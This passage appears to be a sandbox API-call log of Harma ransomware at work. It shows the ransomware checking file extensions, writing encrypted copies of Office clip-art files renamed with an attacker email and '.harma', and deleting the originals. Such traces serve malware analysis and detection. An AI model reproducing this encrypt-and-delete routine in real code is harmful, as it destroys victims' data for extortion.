(lpString1=".xls", lpString2=".WMF") returned 1 [0154.724] lstrlenW (lpString=".xlsx") returned 5 [0154.724] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0154.724] lstrlenW (lpString=".ppt") returned 4 [0154.724] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 63 [0154.725] lstrlenW (lpString=".zip") returned 4 [0154.725] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.725] lstrlenW (lpString=".rar") returned 4 [0154.725] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.725] lstrlenW (lpString=".bz2") returned 4 [0154.725] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.725] lstrlenW (lpString=".7z") returned 3 [0154.725] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 63 [0154.725] lstrlenW (lpString=".dbf") returned 4 [0154.725] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 63 [0154.725] lstrlenW (lpString=".1cd") returned 4 [0154.725] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 63 [0154.725] lstrlenW (lpString=".jpg") returned 4 [0154.725] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0154.725] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0154.725] lstrlenW (lpString="FD00435_.WMF") returned 12 [0154.725] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00435_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0154.738] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=2108) returned 1 [0154.738] CloseHandle (hObject=0x330) returned 1 [0154.738] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00435_.wmf")) returned 0x20 [0154.738] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00435_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0154.738] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00435_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0154.738] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0154.739] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0154.739] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00435_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0154.739] GetLastError () returned 0x0 [0154.739] ReadFile (in: hFile=0x330, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x83c, lpOverlapped=0x0) returned 1 [0154.749] WriteFile (in: hFile=0x380, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0x840, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x840, lpOverlapped=0x0) returned 1 [0154.750] ReadFile (in: hFile=0x330, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1 [0154.750] WriteFile (in: hFile=0x380, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0154.750] SetEndOfFile (hFile=0x380) returned 1 [0154.750] CloseHandle (hObject=0x380) returned 1 [0154.750] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0154.751] SetEndOfFile (hFile=0x330) returned 1 [0154.753] CloseHandle (hObject=0x330) returned 1 [0154.753] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0154.754] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00435_.wmf")) returned 1 [0154.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 63 [0154.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 63 [0154.754] lstrlenW (lpString=".doc") returned 4 [0154.754] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.754] lstrlenW (lpString=".docx") returned 5 [0154.754] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0154.754] lstrlenW (lpString=".pdf") returned 4 [0154.754] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.754] lstrlenW (lpString=".xls") returned 4 [0154.754] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.755] lstrlenW (lpString=".xlsx") returned 5 [0154.755] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0154.755] lstrlenW (lpString=".ppt") returned 4 [0154.755] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 63 [0154.755] lstrlenW (lpString=".zip") returned 4 [0154.755] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.755] lstrlenW (lpString=".rar") returned 4 [0154.755] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.755] lstrlenW (lpString=".bz2") returned 4 [0154.755] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.755] lstrlenW (lpString=".7z") returned 3 [0154.755] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 63 [0154.755] lstrlenW (lpString=".dbf") returned 4 [0154.755] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 63 [0154.755] lstrlenW (lpString=".1cd") returned 4 [0154.755] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 63 [0154.755] lstrlenW (lpString=".jpg") returned 4 [0154.755] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0154.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 63 [0154.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 63 [0154.755] lstrlenW (lpString=".doc") returned 4 [0154.756] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.756] lstrlenW (lpString=".docx") returned 5 [0154.756] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0154.756] lstrlenW (lpString=".pdf") returned 4 [0154.756] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.756] lstrlenW (lpString=".xls") returned 4 [0154.756] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.756] lstrlenW (lpString=".xlsx") returned 5 [0154.756] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0154.756] lstrlenW (lpString=".ppt") returned 4 [0154.756] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 63 [0154.756] lstrlenW (lpString=".zip") returned 4 [0154.756] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.756] lstrlenW (lpString=".rar") returned 4 [0154.756] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.756] lstrlenW (lpString=".bz2") returned 4 [0154.756] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.756] lstrlenW (lpString=".7z") returned 3 [0154.756] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 63 [0154.756] lstrlenW (lpString=".dbf") returned 4 [0154.756] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 63 [0154.756] lstrlenW (lpString=".1cd") returned 4 [0154.756] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 63 [0154.756] lstrlenW (lpString=".jpg") returned 4 [0154.757] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0154.757] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0154.757] lstrlenW (lpString="FD00438_.WMF") returned 12 [0154.757] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00438_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0154.758] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=5098) returned 1 [0154.758] CloseHandle (hObject=0x330) returned 1 [0154.758] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00438_.wmf")) returned 0x20 [0154.758] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00438_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0154.758] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00438_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0154.758] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0154.758] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0154.758] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00438_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0154.759] GetLastError () returned 0x0 [0154.759] ReadFile (in: hFile=0x330, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x13ea, lpOverlapped=0x0) returned 1 [0154.937] WriteFile (in: hFile=0x380, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0x13f0, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x13f0, lpOverlapped=0x0) returned 1 [0154.937] ReadFile (in: hFile=0x330, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1 [0154.938] WriteFile (in: hFile=0x380, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0154.938] SetEndOfFile (hFile=0x380) returned 1 [0154.938] CloseHandle (hObject=0x380) returned 1 [0154.938] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0154.938] SetEndOfFile (hFile=0x330) returned 1 [0154.940] CloseHandle (hObject=0x330) returned 1 [0154.940] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0154.941] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00438_.wmf")) returned 1 [0154.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 63 [0154.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 63 [0154.941] lstrlenW (lpString=".doc") returned 4 [0154.941] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.941] lstrlenW (lpString=".docx") returned 5 [0154.941] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0154.941] lstrlenW (lpString=".pdf") returned 4 [0154.941] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.941] lstrlenW (lpString=".xls") returned 4 [0154.941] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.941] lstrlenW (lpString=".xlsx") returned 5 [0154.941] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0154.941] lstrlenW (lpString=".ppt") returned 4 [0154.941] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 63 [0154.942] lstrlenW (lpString=".zip") returned 4 [0154.942] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.942] lstrlenW (lpString=".rar") returned 4 [0154.942] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.942] lstrlenW (lpString=".bz2") returned 4 [0154.942] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.942] lstrlenW (lpString=".7z") returned 3 [0154.942] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 63 [0154.942] lstrlenW (lpString=".dbf") returned 4 [0154.942] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 63 [0154.942] lstrlenW (lpString=".1cd") returned 4 [0154.942] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 63 [0154.942] lstrlenW (lpString=".jpg") returned 4 [0154.942] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0154.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 63 [0154.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 63 [0154.942] lstrlenW (lpString=".doc") returned 4 [0154.942] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.942] lstrlenW (lpString=".docx") returned 5 [0154.942] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0154.942] lstrlenW (lpString=".pdf") returned 4 [0154.942] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.942] lstrlenW (lpString=".xls") returned 4 [0154.942] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.942] lstrlenW (lpString=".xlsx") returned 5 [0154.942] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0154.942] lstrlenW (lpString=".ppt") returned 4 [0154.943] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 63 [0154.943] lstrlenW (lpString=".zip") returned 4 [0154.943] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.943] lstrlenW (lpString=".rar") returned 4 [0154.943] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.943] lstrlenW (lpString=".bz2") returned 4 [0154.943] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.943] lstrlenW (lpString=".7z") returned 3 [0154.943] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 63 [0154.943] lstrlenW (lpString=".dbf") returned 4 [0154.943] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 63 [0154.943] lstrlenW (lpString=".1cd") returned 4 [0154.943] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 63 [0154.943] lstrlenW (lpString=".jpg") returned 4 [0154.943] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0154.943] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0154.943] lstrlenW (lpString="FD00544_.WMF") returned 12 [0154.943] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00544_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0154.966] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=5260) returned 1 [0154.966] CloseHandle (hObject=0x374) returned 1 [0154.966] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00544_.wmf")) returned 0x20 [0154.977] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00544_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0154.977] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00544_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0154.977] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0154.977] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0154.977] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00544_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0155.001] GetLastError () returned 0x0 [0155.001] ReadFile (in: hFile=0x370, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x148c, lpOverlapped=0x0) returned 1 [0155.039] WriteFile (in: hFile=0x360, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0x1490, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x1490, lpOverlapped=0x0) returned 1 [0155.040] ReadFile (in: hFile=0x370, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1 [0155.040] WriteFile (in: hFile=0x360, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0155.040] SetEndOfFile (hFile=0x360) returned 1 [0155.041] CloseHandle (hObject=0x360) returned 1 [0155.041] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0155.041] SetEndOfFile (hFile=0x370) returned 1 [0155.043] CloseHandle (hObject=0x370) returned 1 [0155.043] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0155.242] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00544_.wmf")) returned 1 [0155.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 63 [0155.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 63 [0155.243] lstrlenW (lpString=".doc") returned 4 [0155.243] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.243] lstrlenW (lpString=".docx") returned 5 [0155.243] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0155.243] lstrlenW (lpString=".pdf") returned 4 [0155.243] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.243] lstrlenW (lpString=".xls") returned 4 [0155.243] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.243] lstrlenW (lpString=".xlsx") returned 5 [0155.243] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0155.243] lstrlenW (lpString=".ppt") returned 4 [0155.243] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 63 [0155.243] lstrlenW (lpString=".zip") returned 4 [0155.243] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.243] lstrlenW (lpString=".rar") returned 4 [0155.243] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.243] lstrlenW (lpString=".bz2") returned 4 [0155.243] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.243] lstrlenW (lpString=".7z") returned 3 [0155.243] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 63 [0155.243] lstrlenW (lpString=".dbf") returned 4 [0155.243] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 63 [0155.243] lstrlenW (lpString=".1cd") returned 4 [0155.243] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 63 [0155.244] lstrlenW (lpString=".jpg") returned 4 [0155.244] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 63 [0155.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 63 [0155.244] lstrlenW (lpString=".doc") returned 4 [0155.244] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.244] lstrlenW (lpString=".docx") returned 5 [0155.244] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0155.244] lstrlenW (lpString=".pdf") returned 4 [0155.244] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.244] lstrlenW (lpString=".xls") returned 4 [0155.244] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.244] lstrlenW (lpString=".xlsx") returned 5 [0155.244] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0155.244] lstrlenW (lpString=".ppt") returned 4 [0155.244] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 63 [0155.244] lstrlenW (lpString=".zip") returned 4 [0155.244] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.244] lstrlenW (lpString=".rar") returned 4 [0155.244] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.244] lstrlenW (lpString=".bz2") returned 4 [0155.244] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.244] lstrlenW (lpString=".7z") returned 3 